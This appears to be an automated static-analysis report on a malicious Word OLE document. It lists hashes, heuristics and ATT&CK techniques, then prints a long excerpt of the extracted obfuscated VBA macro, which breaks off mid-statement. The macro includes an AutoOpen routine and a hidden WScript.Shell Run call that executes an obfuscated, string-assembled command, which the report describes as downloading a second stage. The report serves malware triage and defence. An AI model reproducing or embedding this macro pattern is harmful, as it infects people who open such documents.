Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8c4ab283e73797b…

MALICIOUS

Office (OLE)

168.5 KB Created: 2018-03-15 17:41:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 0ebe7ce4553cb6807956160859fe5626 SHA-1: 197024a67045702b2bf236be7a552dece8663dc6 SHA-256: a8c4ab283e73797b4c40c9604259c887b9eed17cfa1e774c599b59f3c72f6b34
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious OLE document containing VBA macros. Critical heuristics indicate the use of `Shell()` and `WScript.Shell`, suggesting the execution of arbitrary commands. The presence of a `macros.bas` file and the `OLE_VBA_AUTOOPEN` heuristic further confirm macro execution upon opening. The script's obfuscated nature prevents a detailed analysis of its specific payload, but its intent is clearly to download and execute a second-stage artifact.

Heuristics 9

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run OEkcq + wTIVSYSCRPdL + XlNhVXRVHt + XdmZdGum, vbHide
Select Case Obbvj
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run OEkcq + wTIVSYSCRPdL + XlNhVXRVHt + XdmZdGum, vbHide
Select Case Obbvj
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 172,544 bytes but its declared streams total only 52,078 bytes — 120,466 bytes (70%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56332 bytes
SHA-256: 5a5d063002b7f4550bc9568c46767e09eb12019e399426a826d120ebeb356e96
Detection
ClamAV: No threats found
Obfuscation or payload: likely
461 of 750 identifiers look randomly generated (e.g. '$11XH20rS8nqlBztAwNAADAjBQZAIGAiBwNAEGAz') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BKKffzAFY"
Function BwclORULsOboYV()
On Error Resume Next
Select Case rwltX
         Case 74060
            Vtvkmd = Fix(77934)
            jZpRO = Int(44012)
         Case 11959
            HIDsN = jjrNcv
            JcpSO = ChrW(mtwYP)
      End Select
dbIHSWj = AEhChzp + wTzOst("QdoO% tes&&eh=%VAFs999Qa75TzMj9", 14, 15)
Select Case rwltX
         Case 74060
            Vtvkmd = Fix(77934)
            jZpRO = Int(44012)
         Case 11959
            HIDsN = jjrNcv
            JcpSO = ChrW(mtwYP)
      End Select
Select Case PVFot
         Case 97626
            Qkzci = Fix(74319)
            IWddT = Int(81480)
         Case 21217
            lsUhmF = FSJjjM
            QmoOl = ChrW(InmHwN)
      End Select
rAmqiRwiVcC = RqJqqE + wTzOst("@f6(VR=%qifzqY87Vp.YG#t", 15, 5)
Select Case PVFot
         Case 97626
            Qkzci = Fix(74319)
            IWddT = Int(81480)
         Case 21217
            lsUhmF = FSJjjM
            QmoOl = ChrW(InmHwN)
      End Select
Select Case ZFOmX
         Case 29474
            ijvJa = Fix(46501)
            DQZMt = Int(8714)
         Case 82765
            qAmLpo = EwTznO
            bQkusE = ChrW(wzinw)
      End Select
wvfjCbosB = bRRlj + wTzOst("58jBr808XmNFd% tes&&VafZ4jtA1Rl%93VU0kC@YNr", 23, 12)
Select Case ZFOmX
         Case 29474
            ijvJa = Fix(46501)
            DQZMt = Int(8714)
         Case 82765
            qAmLpo = EwTznO
            bQkusE = ChrW(wzinw)
      End Select
Select Case jjhUXw
         Case 41443
            rYRuq = Fix(13566)
            rADwW = Int(34291)
         Case 78398
            wZZjmN = QIPMz
            tDsrwi = ChrW(aGizA)
      End Select
lFXFn = jawQCXi + wTzOst("B0o#es&&nZzWWDZt=%OKuDBj#G88!Vd5j", 12, 18)
Select Case jjhUXw
         Case 41443
            rYRuq = Fix(13566)
            rADwW = Int(34291)
         Case 78398
            wZZjmN = QIPMz
            tDsrwi = ChrW(aGizA)
      End Select
Select Case RzloWK
         Case 11129
            plZOq = Fix(60251)
            lPjjVl = Int(22135)
         Case 33358
            TCOwD = znWpFE
            jfQZl = ChrW(FrJYJ)
      End Select
vbnUJLfAU = umEwr + wTzOst("P0F=%HiIjijLl2Mv2#]M%4Acp8mwomv", 19, 10)
Select Case RzloWK
         Case 11129
            plZOq = Fix(60251)
            lPjjVl = Int(22135)
         Case 33358
            TCOwD = znWpFE
            jfQZl = ChrW(FrJYJ)
      End Select
Select Case pjwrcM
         Case 63018
            LDpEpG = Fix(60555)
            jSMYp = Int(86939)
         Case 69850
            tQPYk = KCJCj
            kkdcij = ChrW(qXJWn)
      End Select
AGwkGj = dlBcED + wTzOst(")kYblzWLSRiDRN%UU0tG8fA", 12, 9)
Select Case pjwrcM
         Case 63018
            LDpEpG = Fix(60555)
            jSMYp = Int(86939)
         Case 69850
            tQPYk = KCJCj
            kkdcij = ChrW(qXJWn)
      End Select
Select Case djirA
         Case 21014
            lIAUZ = Fix(58537)
            XpTTwr = Int(39886)
         Case 35013
            IujiDb = aplDz
            GitfF = ChrW(iRPnw)
      End Select
cOihKoiOz = ajGAsw + wTzOst("#q(UpnUFWLrjPVovUj% tes&&wDN58", 5, 18)
Select Case djirA
         Case 21014
            lIAUZ = Fix(58537)
            XpTTwr = Int(39886)
         Case 35013
            IujiDb = aplDz
            GitfF = ChrW(iRPnw)
      End Select
Select Case BsqPmU
         Case 8912
            iVoiG = Fix(6255)
            BkkuZR = Int(21911)
         Case 94905
            aPHlU = KirUal
            oMmaRY = ChrW(HZqbF)
      End Select
WpScuo = rXaFi + wTzOst("vvI!aC#ZLSYSVITw%!!ndBhA4dVf75", 12, 10)
Select Case BsqPmU
         Case 8912
            iVoiG = Fix(6255)
            BkkuZR = Int(21911)
         Case 94905
            aPHlU = KirUal
            oMmaRY = ChrW(HZqbF)
      End Select
Select Case pLtuOS
         Case 24825
            Ymthzo = Fix(43232)
            mCsum = Int(75633)
         Case 44993
            VjuDJ = HQYJuj
            djZFYK = ChrW(hUlZF)
      End Select
iIDiji = SWzBaq + wTzOst("31(k.#CNFRJHjM8ZC95wZP#@0Qh7ri7XPh", 27, 1)
Select Case pLtuOS
         Case 24825
            Ymthzo = Fix(43232)
            mCsum = Int(75633)
         Case 44993
            VjuDJ = HQYJuj
            djZFYK = ChrW(hUlZF)
      End Select
Select Case jLKFsD
         Case 61378
            vZlJz = Fix(58073)
            AAJzb = Int(31858)
         Case 5839
            BYBaPz = KDKwJ
            dHQiLr = ChrW(cfzfLG)
      End Select
SzLmlvaLlp = qQCNB + wTzOst("bEFjL0$f0m5#IkfDz9QiBNZb% tMr", 3, 8)
Select Case jLKFsD
         Case 61378
            vZlJz = Fix(58073)
            AAJzb = Int(31858)
         Case 5839
            BYBaPz = KDKwJ
            dHQiLr = ChrW(cfzfLG)
      End Select
Select Case HdYnaA
         Case 8110
            QVFoj = Fix(75473)
            CQwCWG = Int(28697)
         Case 80534
            aAQiUi = hpBGR
            Lnbdso = ChrW(RQzkaD)
      End Select
QlHAUwiFjq = cVNpSdh + wTzOst("2PvNK4Cz8s%nEFSOBZHGAjS%!!%HiAvYi6C2", 8, 19)
Select Case HdYnaA
         Case 8110
            QVFoj = Fix(75473)
            CQwCWG = Int(28697)
         Case 80534
            aAQiUi = hpBGR
            Lnbdso = ChrW(RQzkaD)
      End Select
Select Case hHHXa
         Case 63512
            RzdRCC = Fix(84840)
            GzUSrz = Int(9539)
         Case 26730
            OkGMzl = Vijfw
            UFzGWI = ChrW(XEQKYU)
      End Select
PCnZiwoCj = EOVYs + wTzOst("$9U3(XatI$3O3sIftes&&DIVfYF55jhAjj(#wo$7qd", 22, 5)
Select Case hHHXa
         Case 63512
            RzdRCC = Fix(84840)
            GzUSrz = Int(9539)
         Case 26730
            OkGMzl = Vijfw
            UFzGWI = ChrW(XEQKYU)
      End Select
Select Case ooQsw
         Case 29780
            uqEmOW = Fix(94304)
            oGjLQ = Int(7830)
         Case 96541
            jSWQC = fqUiP
            cELGo = ChrW(Ssfmn)
      End Select
zfawS = zhLRc + wTzOst("7%i)8(DjIjijLlmNFd%!&&ll=%oo.di5<Zq5!", 11, 19)
Select Case ooQsw
         Case 29780
            uqEmOW = Fix(94304)
            oGjLQ = Int(7830)
         Case 96541
            jSWQC = fqUiP
            cELGo = ChrW(Ssfmn)
      End Select
Select Case DTLuo
         Case 56337
            miUkZ = Fix(46867)
            wqQNo = Int(43706)
         Case 50243
            LoFsE = ICZUT
            iwSMd = ChrW(zWvAiQ)
      End Select
ZNqwqBs = QRbnY + wTzOst("Vt%vdd6wzlB5z38BQl8%S<fwRjTpHXG%!BEzqdzVlz8k", 12, 7)
Select Case DTLuo
         Case 56337
            miUkZ = Fix(46867)
            wqQNo = Int(43706)
         Case 50243
            LoFsE = ICZUT
            iwSMd = ChrW(zWvAiQ)
      End Select
Select Case RuiXz
         Case 80990
            wsDzD = Fix(41207)
            YjStj = Int(43347)
         Case 55671
            izuZji = RphklX
            GOMSK = ChrW(NLzGCj)
      End Select
FzNjNk = lHzphfb + wTzOst("Afni3S3i3Z!P", 7, 1)
Select Case RuiXz
         Case 80990
            wsDzD = Fix(41207)
            YjStj = Int(43347)
         Case 55671
            izuZji = RphklX
            GOMSK = ChrW(NLzGCj)
      End Select
Select Case NzWEq
         Case 96486
            iZrNW = Fix(25971)
            mFXaj = Int(7386)
         Case 33085
            LllSp = JsAoVI
            juSQK = ChrW(dIPSi)
      End Select
rOECotTkaFB = EQIMMu + wTzOst(".#<FtY0#nA9BfmHNFuzTLYB%!!5S0nS((RDwV$w", 14, 15)
Select Case NzWEq
         Case 96486
            iZrNW = Fix(25971)
            mFXaj = Int(7386)
         Case 33085
            LllSp = JsAoVI
            juSQK = ChrW(dIPSi)
      End Select
Select Case Iizju
         Case 39814
            MLCbpO = Fix(35766)
            Lmddw = Int(2832)
         Case 8037
            cjOrSW = rmZNu
            NpzNzH = ChrW(npYzI)
      End Select
KFRTqUzuz = uvlWz + wTzOst("13<RldIDa !%HN9fTSRd#<", 11, 3)
Select Case Iizju
         Case 39814
            MLCbpO = Fix(35766)
            Lmddw = Int(2832)
         Case 8037
            cjOrSW = rmZNu
            NpzNzH = ChrW(npYzI)
      End Select
Select Case wiqiQ
         Case 26050
            sXlEW = Fix(78860)
            jKQTt = Int(24871)
         Case 50236
            fCcqG = ATWHuo
            wBjiu = ChrW(zzKst)
      End Select
JfdZzFH = QGJPu + wTzOst("wCMClt9zVkFXPBPmhFwpjJ%!VHzN<N7oh!#18t[VZ59v", 21, 12)
Select Case wiqiQ
         Case 26050
            sXlEW = Fix(78860)
            jKQTt = Int(24871)
         Case 50236
            fCcqG = ATWHuo
            wBjiu = ChrW(zzKst)
      End Select
Select Case RMCUz
         Case 33840
            AppzT = Fix(56521)
            DTWzzI = Int(6348)
         Case 95620
            iDGwzi = zhTbWj
            qAPKzw = ChrW(drXIE)
      End Select
mVjjb = KalhG + wTzOst("LM2MdrmSjY1&re=%BfmHNFuzTLYBm$aC", 5, 17)
Select Case RMCUz
         Case 33840
            AppzT = Fix(56521)
            DTWzzI = Int(6348)
         Case 95620
            iDGwzi = zhTbWj
            qAPKzw = ChrW(drXIE)
      End Select
Select Case JVwYwb
         Case 73273
            WPfDE = Fix(26241)
            DiJwl = Int(36007)
         Case 39350
            Xunlkr = LuLHcH
            YKCzG = ChrW(jLGFK)
      End Select
zPGFQDmzjb = hmTIH + wTzOst("N[.nM#jN1FwR!vzCwVGmh)LGfWp=%RNPBPmhFw.ATs#8776t", 11, 12)
Select Case JVwYwb
         Case 73273
            WPfDE = Fix(26241)
            DiJwl = Int(36007)
         Case 39350
            Xunlkr = LuLHcH
            YKCzG = ChrW(jLGFK)
      End Select
Select Case AOqpQ
         Case 66819
            ujiiz = Fix(79188)
            KSObkW = Int(32547)
         Case 25632
            XkkoZp = IfdBj
            PWNCR = ChrW(WTUif)
      End Select
dbCszj = uBFwnO + wTzOst("zToP1wwBiZd3o=%wkEIVZbTpHXG% Y#.", 4, 17)
Select Case AOqpQ
         Case 66819
            ujiiz = Fix(79188)
            KSObkW = Int(32547)
         Case 25632
            XkkoZp = IfdBj
            PWNCR = ChrW(WTUif)
      End Select
Select Case PjAvk
         Case 7838
            rfnZE = Fix(49168)
            Xkbijh = Int(95910)
         Case 53480
            DlzBW = wmvNc
            MYadT = ChrW(iWwiNn)
      End Select
QtuKwWMWqV = FMARkv + wTzOst("hB8BlVv2nkH<J%&&s=%LdPRCSYSVITw%iC9zQkqUVFvhE", 14, 18)
Select Case PjAvk
         Case 7838
            rfnZE = Fix(49168)
            Xkbijh = Int(95910)
         Case 53480
            DlzBW = wmvNc
            MYadT = ChrW(iWwiNn)
      End Select
Select Case KXTWkT
         Case 29377
            GvRbu = Fix(16795)
            iRLcHw = Int(91574)
         Case 64699
            JLpfHN = nkZtal
            SImXXH = ChrW(nNqzL)
      End Select
vPzKsmasqDT = FTUshd + wTzOst("wd80m]akjq#GNttes&&!%Rmia8N%ICYNzQ$Cn", 16, 8)
Select Case KXTWkT
         Case 29377
            GvRbu = Fix(16795)
            iRLcHw = Int(91574)
         Case 64699
            JLpfHN = nkZtal
            SImXXH = ChrW(nNqzL)
      End Select
Select Case wpoNWr
         Case 25541
            pwKMfz = Fix(77684)
            liOuP = Int(37659)
         Case 58797
            ijiwpz = jUImA
            DssIRL = ChrW(RotGMu)
      End Select
pUmbpf = bnOoPp + wTzOst("f3j0Vmv%]OJLPrXznCiF% tes5fzqRk5inn", 11, 16)
Select Case wpoNWr
         Case 25541
            pwKMfz = Fix(77684)
            liOuP = Int(37659)
         Case 58797
            ijiwpz = jUImA
            DssIRL = ChrW(RotGMu)
      End Select
Select Case cEiDw
         Case 5024
            hmkqXA = Fix(96188)
            ILzmpC = Int(53893)
         Case 12000
            DiHnW = PNMJn
            whizJ = ChrW(wulWm)
      End Select
JNoGlBIK = IGFPdL + wTzOst("AVCqVC]rPBLYKkana[iB2397Z", 11, 4)
Select Case cEiDw
         Case 5024
            hmkqXA = Fix(96188)
            ILzmpC = Int(53893)
         Case 12000
            DiHnW = PNMJn
            whizJ = ChrW(wulWm)
      End Select
Select Case MUwpF
         Case 58130
            QCdNc = Fix(79281)
            cvPaQ = Int(83435)
         Case 56012
            uJwXL = YhTZdX
            vEuBq = ChrW(RbGuzz)
      End Select
cjLFwoopm = wkkTA + wTzOst("IB%!9aA(G6Yn=MQvMJH.Sf#", 11, 1)
Select Case MUwpF
         Case 58130
            QCdNc = Fix(79281)
            cvPaQ = Int(83435)
         Case 56012
            uJwXL = YhTZdX
            vEuBq = ChrW(RbGuzz)
      End Select
Select Case CEEbCv
         Case 29554
            jzbZcM = Fix(73184)
            ijsOwt = Int(62189)
         Case 40950
            RVsww = djUjF
            mhpmI = ChrW(zkcKd)
      End Select
wInScHRufBr = mdibG + wTzOst("N<d.1jjd%dPRCi#", 3, 4)
Select Case CEEbCv
         Case 29554
            jzbZcM = Fix(73184)
            ijsOwt = Int(62189)
         Case 40950
            RVsww = djUjF
            mhpmI = ChrW(zkcKd)
      End Select
Select Case nnrpkj
         Case 84436
            LBUzOp = Fix(50436)
            fVBhO = Int(77072)
         Case 83086
            wwGAds = KAcKEz
            mziJA = ChrW(LwrGcv)
      End Select
ikGNikWwTp = sjEifqJ + wTzOst("!(qcIdXDFzY% )Ck8Iiw5L#Nka", 14, 11)
Select Case nnrpkj
         Case 84436
            LBUzOp = Fix(50436)
            fVBhO = Int(77072)
         Case 83086
            wwGAds = KAcKEz
            mziJA = ChrW(LwrGcv)
      End Select
Select Case tAFrh
         Case 78569
            jZiBw = Fix(29678)
            iwCwNC = Int(8227)
         Case 10201
            KiTkdC = NhSOcK
            LlCcL = ChrW(sVRAhp)
      End Select
zuNnpRIFqM = iqQPz + wTzOst("rB<C% tes&&mLnZWDPTU#$(B(3w63v(", 12, 16)
Select Case tAFrh
         Case 78569
            jZiBw = Fix(29678)
            iwCwNC = Int(8227)
         Case 10201
            KiTkdC = NhSOcK
            LlCcL = ChrW(sVRAhp)
      End Select
Select Case oKXvM
         Case 22664
            zXzWJb = Fix(4856)
            LdiPDP = Int(26401)
         Case 46151
            Hzavd = XApZG
            PiVdwl = ChrW(QwqTq)
      End Select
QOUNfsujwH = qpPVAn + wTzOst("2 VNa[% tes&0dEZk!N%VP58K#z09tzFCjI%", 25, 6)
Select Case oKXvM
         Case 22664
            zXzWJb = Fix(4856)
            LdiPDP = Int(26401)
         Case 46151
            Hzavd = XApZG
            PiVdwl = ChrW(QwqTq)
      End Select
Select Case WuzfY
         Case 77484
            FjRCHz = Fix(31523)
            jYjra = Int(8702)
         Case 28386
            tzZqht = GwYiQ
            hYjjdC = ChrW(TaGow)
      End Select
XJLGOTI = docJkDa + wTzOst("W(koF tesNa#z69BfiCMTJp9W7V()$rB", 24, 4)
Select Case WuzfY
         Case 77484
            FjRCHz = Fix(31523)
            jYjra = Int(8702)
         Case 28386
            tzZqht = GwYiQ
            hYjjdC = ChrW(TaGow)
      End Select
Select Case JvAbXP
         Case 63483
            ItspRE = Fix(4467)
            wDHca = Int(80953)
         Case 90192
            vPXJC = DPRar
            miSkjS = ChrW(WhmSjW)
      End Select
YQSaoQ = bTCtVB + wTzOst("lQ9f%V3n)%iaj8rzhEn tes&&!%wkEIVZbzA1<hSj", 8, 15)
Select Case JvAbXP
         Case 63483
            ItspRE = Fix(4467)
            wDHca = Int(80953)
         Case 90192
            vPXJC = DPRar
            miSkjS = ChrW(WhmSjW)
      End Select
Select Case kPELE
         Case 20057
            wwpic = Fix(192)
            MPOOa = Int(56303)
         Case 5660
            nfPzCW = AaIhNE
            cOlwd = ChrW(ABRwnt)
      End Select
biBdwOX = YAGINTA + wTzOst("Wr72s5wGdLOq=%bOSBBdlQM", 5, 13)
Select Case kPELE
         Case 20057
            wwpic = Fix(192)
            MPOOa = Int(56303)
         Case 5660
            nfPzCW = AaIhNE
            cOlwd = ChrW(ABRwnt)
      End Select
Select Case wNLcD
         Case 89810
            tXbCco = Fix(30306)
            USZBI = Int(27373)
         Case 37462
            nOlcY = LIPRrj
            hcMzPX = ChrW(QthSDV)
      End Select
bHiKidUUit = SjGlKOv + wTzOst("M9mT7ToiBhj$MMBlif8Z%rpoHAEjstzNIwWFUzHdK%V%", 3, 11)
Select Case wNLcD
         Case 89810
            tXbCco = Fix(30306)
            USZBI = Int(27373)
         Case 37462
            nOlcY = LIPRrj
            hcMzPX = ChrW(QthSDV)
      End Select
Select Case GfFjT
         Case 97812
            jVzMt = Fix(76677)
            uwIiG = Int(8796)
         Case 33498
            BpNLf = wTEBM
            NWlToT = ChrW(hjRuP)
      End Select
wfXok = pKDXzi + wTzOst("A]k3i8%n5MTEL=%TABVKnPwQRBp(z7EYiQsz3c%<i", 21, 12)
Select Case GfFjT
         Case 97812
            jVzMt = Fix(76677)
            uwIiG = Int(8796)
         Case 33498
            BpNLf = wTEBM
            NWlToT = ChrW(hjRuP)
      End Select
Select Case jlPwV
         Case 84636
            qdNow = Fix(11341)
            ZIMlc = Int(84843)
         Case 75989
            UWjQYA = oUKJKw
            DpuTS = ChrW(dVONwM)
      End Select
HOinTi = iciSD + wTzOst("2<panidwIQk. 4lwpjJ% tes&&JMQBBsBkNMBtt(", 7, 18)
Select Case jlPwV
         Case 84636
            qdNow = Fix(11341)
            ZIMlc = Int(84843)
         Case 75989
            UWjQYA = oUKJKw
            DpuTS = ChrW(dVONwM)
      End Select
Select Case THIimL
         Case 68708
            swooQq = Fix(54634)
            wiDSS = Int(45122)
         Case 49471
            wbzuz = vaXBAI
            WjKfU = ChrW(otqFX)
      End Select
abVBjAzztk = aCHGH + wTzOst("4iO%!!%VAFiBNZb%!!%L$M5.o8oj", 9, 18)
Select Case THIimL
         Case 68708
            swooQq = Fix(54634)
            wiDSS = Int(45122)
         Case 49471
            wbzuz = vaXBAI
            WjKfU = ChrW(otqFX)
      End Select
Select Case PWbOiL
         Case 7599
            aKQwp = Fix(21694)
            kwOHa = Int(47323)
         Case 79492
            lFIjDm = tpkCO
            ELNBTl = ChrW(DkEdHz)
      End Select
siUqwz = CHEEGO + wTzOst("Rjk%bdooblzWLSRiD!vmBndbYs7%TIM7IaK52", 21, 10)
Select Case PWbOiL
         Case 7599
            aKQwp = Fix(21694)
            kwOHa = Int(47323)
         Case 79492
            lFIjDm = tpkCO
            ELNBTl = ChrW(DkEdHz)
      End Select
Select Case hSmVml
         Case 76882
            zjqjkC = Fix(97594)
            IhToW = Int(52801)
         Case 23652
            wVZrwu = WEGjB
            jSzlOn = ChrW(OiIKou)
      End Select
soKQjlzB = jwjFU + wTzOst("2f$i0WRE%nEFSOBZHGAjV(Abq", 6, 12)
Select Case hSmVml
         Case 76882
            zjqjkC = Fix(97594)
            IhToW = Int(52801)
         Case 23652
            wVZrwu = WEGjB
            jSzlOn = ChrW(OiIKou)
      End Select
Select Case wZNPrN
         Case 23632
            QtWzz = Fix(53290)
            oPMmV = Int(26046)
         Case 52128
            DGXjQL = ziqmYs
            DdMjDJ = ChrW(zZpKTh)
      End Select
woqItTzFqz = TsAOFGw + wTzOst("jnD%.o%h2o$Qpm", 8, 1)
Select Case wZNPrN
         Case 23632
            QtWzz = Fix(53290)
            oPMmV = Int(26046)
         Case 52128
            DGXjQL = ziqmYs
            DdMjDJ = ChrW(zZpKTh)
      End Select
BwclORULsOboYV = XJLGOTI + bHiKidUUit + JNoGlBIK + rAmqiRwiVcC + HOinTi + zPGFQDmzjb + PCnZiwoCj + dbCszj + cOihKoiOz + biBdwOX + wvfjCbosB + vbnUJLfAU + JfdZzFH + iIDiji + vPzKsmasqDT + ikGNikWwTp + wfXok + zuNnpRIFqM + mVjjb + QOUNfsujwH + FzNjNk + soKQjlzB + cjLFwoopm + ZNqwqBs + YQSaoQ + QtuKwWMWqV + pUmbpf + lFXFn + SzLmlvaLlp + dbIHSWj + AGwkGj + zfawS + QlHAUwiFjq + rOECotTkaFB + woqItTzFqz + WpScuo + wInScHRufBr + abVBjAzztk + siUqwz + KFRTqUzuz
Select Case pMcdV
         Case 81693
            JTjwL = Fix(43907)
            sJMCfE = Int(24291)
         Case 68772
            lKRnDj = VwilHR
            JDCZt = ChrW(fnrmz)
      End Select
End Function

Attribute VB_Name = "jStMcLmpnu"
Sub BYLTzuFNHmfB(wTIVSYSCRPdL As String)
On Error Resume Next
Select Case oAIhRF
         Case 2106
            wMiAZ = Fix(78978)
            cPaJw = Int(75829)
         Case 29979
            qczff = rACiB
            RlSXQC = ChrW(wHCSTX)
      End Select
Select Case jWOiw
         Case 92510
            vSESZ = Fix(42374)
            FMbVYp = Int(73308)
         Case 82584
            DstBTz = KfIGYU
            YjFaVT = ChrW(Eqjor)
      End Select
Select Case awvims
         Case 49617
            lEuFw = Fix(58025)
            nRPYka = Int(6041)
         Case 79525
            PQXjz = NMcCN
            kaUju = ChrW(nbKUXo)
      End Select
Select Case QZQQG
         Case 40110
            HcSWU = Fix(81396)
            jqidv = Int(32802)
         Case 63768
            rvspz = NIvsi
            icwwV = ChrW(pFHHwL)
      End Select
CreateObject("WScript.Shell").Run OEkcq + wTIVSYSCRPdL + XlNhVXRVHt + XdmZdGum, vbHide
Select Case Obbvj
         Case 94533
            kkLcjE = Fix(33261)
            iUuaY = Int(7118)
         Case 23302
            LmkUZi = zqpiMw
            SzYqj = ChrW(wRoSLb)
      End Select
Select Case JLTNEC
         Case 88024
            IzcHF = Fix(99439)
            mqWEO = Int(38401)
         Case 4165
            CiWblu = SJwjbl
            cdKCv = ChrW(wwiak)
      End Select
Select Case iwvHMb
         Case 14104
            QihaI = Fix(39970)
            hTJWY = Int(54707)
         Case 29419
            ttLYs = GzvqDP
            WBlHU = ChrW(Gzvju)
      End Select
Select Case wRdYEM
         Case 10697
            kCNAC = Fix(27824)
            KimkE = Int(9390)
         Case 19954
            RYODF = PwKRw
            hdbriw = ChrW(PUnkF)
      End Select
End Sub

Attribute VB_Name = "DhdwSpPHzno"
Function nwFUafAfWs()
On Error Resume Next
Select Case zYGzkP
         Case 23141
            TcMXKu = Fix(95741)
            PvSIa = Int(75089)
         Case 24892
            kzYslf = azLGm
            LoAHo = ChrW(jUjlKP)
      End Select
dbIHSWj = qiCOvz + wTzOst("Qdo^mo^C% s999Qa75TzMj9", 14, 7)
Select Case zYGzkP
         Case 23141
            TcMXKu = Fix(95741)
            PvSIa = Int(75089)
         Case 24892
            kzYslf = azLGm
            LoAHo = ChrW(jUjlKP)
      End Select
Select Case nwLYvh
         Case 46477
            RZqAFf = Fix(87323)
            MiXMjY = Int(90125)
         Case 17832
            TKtsM = iHjAdO
            jiVFS = ChrW(WcLaE)
      End Select
rAmqiRwiVcC = TFhDBML + wTzOst("@f6(dFJiLznZNGhMz wjNZqhtifzqY87Vp.YG#t", 15, 21)
Select Case nwLYvh
         Case 46477
            RZqAFf = Fix(87323)
            MiXMjY = Int(90125)
         Case 17832
            TKtsM = iHjAdO
            jiVFS = ChrW(WcLaE)
      End Select
Select Case VLLLhJ
         Case 7917
            hMTwtF = Fix(76464)
            BiaGO = Int(28695)
         Case 80651
            kRCJUL = EsWnl
            GKHkGE = ChrW(EiLqVl)
      End Select
wvfjCbosB = wrhbI + wTzOst("58jBr808X V/    afZ4jtA1Rl%93VU0kC@YNr", 23, 7)
Select Case VLLLhJ
         Case 7917
            hMTwtF = Fix(76464)
            BiaGO = Int(28695)
         Case 80651
            kRCJUL = EsWnl
            GKHkGE = ChrW(EiLqVl)
      End Select
Select Case jRvSG
         Case 81593
            tHqKaj = Fix(56486)
            tkowdu = Int(28973)
         Case 17024
            izsKBi = mDPGhs
            CDQFjV = ChrW(XUWIs)
      End Select
lFXFn = tizXG + wTzOst("B0o#     %cEpBj#G88!Vd5j", 12, 9)
Select Case jRvSG
         Case 81593
            tHqKaj = Fix(56486)
            tkowdu = Int(28973)
         Case 17024
            izsKBi = mDPGhs
            CDQFjV = ChrW(XUWIs)
      End Select
Select Case MEnQYJ
         Case 21889
            scBhtk = Fix(3002)
            GMERz = Int(75933)
         Case 86389
            wEwcR = PCJbS
            TGlil = ChrW(LWVYIB)
      End Select
vbnUJLfAU = GEtfRIM + wTzOst("P0F          2Mv2#]M%4Acp8mwomv", 19, 10)
Select Case MEnQYJ
         Case 21889
            scBhtk = Fix(3002)
            GMERz = Int(75933)
         Case 86389
            wEwcR = PCJbS
            TGlil = ChrW(LWVYIB)
      End Select
Select Case YNbzoS
         Case 74313
            vOPkXv = Fix(64202)
            IipKhr = Int(56707)
         Case 34207
            RmZZo = OXQVLn
            jSuANi = ChrW(OcQdLG)
      End Select
AGwkGj = GUpcMwZ + wTzOst(")kYhY dmcRN%UU0tG8fA", 12, 6)
Select Case YNbzoS
         Case 74313
            vOPkXv = Fix(64202)
            IipKhr = Int(56707)
         Case 34207
            RmZZo = OXQVLn
            jSuANi = ChrW(OcQdLG)
      End Select
Select Case cZlRs
         Case 8558
            JbRHNt = Fix(79121)
            tfNhtI = Int(6142)
         Case 12933
            BPiLn = DfOIzY
            OKfdn = ChrW(IirRbp)
      End Select
cOihKoiOz = jtKjkJp + wTzOst("#q(UpnUFdRzWENrBDN58", 5, 8)
Select Case cZlRs
         Case 8558
            JbRHNt = Fix(79121)
            tfNhtI = Int(6142)
         Case 12933
            BPiLn = DfOIzY
            OKfdn = ChrW(IirRbp)
      End Select
Select Case BuaMYW
         Case 84871
            SSbWcZ = Fix(53709)
            dwZjLV = Int(796)
         Case 27796
            jioHuA = josUbZ
            umVnZE = ChrW(iUiHr)
      End Select
WpScuo = mSrHPZS + wTzOst("vvI!aC#ZL^SndBhA4dVf75", 12, 2)
Select Case BuaMYW
         Case 84871
            SSbWcZ = Fix(53709)
            dwZjLV = Int(796)
         Case 27796
            jioHuA = josUbZ
            umVnZE = ChrW(iUiHr)
      End Select
Select Case UhmJfH
         Case 37573
            BfjMo = Fix(19478)
            lGHRq = Int(64039)
         Case 93476
            PlJprf = rNrOfO
            KdRFjd = ChrW(upjzz)
      End Select
iIDiji = aCQjuL + wTzOst("31(k.#C   %cEp^S^mo^C%  FRJHjM8ZC95wZP#@0Qh7ri7XPh", 27, 17)
Select Case UhmJfH
         Case 37573
            BfjMo = Fix(19478)
            lGHRq = Int(64039)
         Case 93476
            PlJprf = rNrOfO
            KdRFjd = ChrW(upjzz)
      End Select
Select Case XLjOH
         Case 61875
            BiFvO = Fix(65241)
            bRidn = Int(2292)
         Case 72256
            FWDdzh = kuKATH
